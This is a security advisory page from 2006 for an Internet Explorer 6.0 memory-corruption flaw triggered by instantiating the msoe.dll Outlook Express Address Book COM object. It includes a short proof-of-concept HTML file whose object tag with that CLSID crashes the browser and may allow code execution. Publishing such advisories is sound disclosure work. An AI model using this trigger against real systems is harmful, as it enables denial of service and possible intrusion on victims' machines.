Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability

Credit: nop
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Advisory ID: XSec-06-04 Advisory Name: Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability Release Date: 08/15/2006 Tested on: Internet Explorer 6.0 SP1 on Microsoft Windows 2000 SP4 / XP SP2 CN Affected version: Internet Explorer 6.0 Author: nop <> Overview: A vulnerability has been found in Internet Explorer 6.0. When Internet Explorer tries to instantiate the msoe.dll (OutLook) COM object as an ActiveX control, it may corrupt system memory in such a way that an attacker may DoS and possibly could execute arbitrary code. Exploit: =============== msoe.dll.htm start ================ <!-- // Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability // tested: 2000SP4/XPSP2 CN // // nop ( // CLSID: {233A9694-667E-11d1-9DFB-006097D50408} // Info: Outlook Express Address Book // ProgID: OutlookExpress.AddressBook.1 // InprocServer32: %ProgramFiles%\Outlook Express\msoe.dll --!> <html><body> <object classid="CLSID:{233A9694-667E-11d1-9DFB-006097D50408}" ></object> </body></html> =============== msoe.dll.htm end ================== Link: About XSec: We are redhat.

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top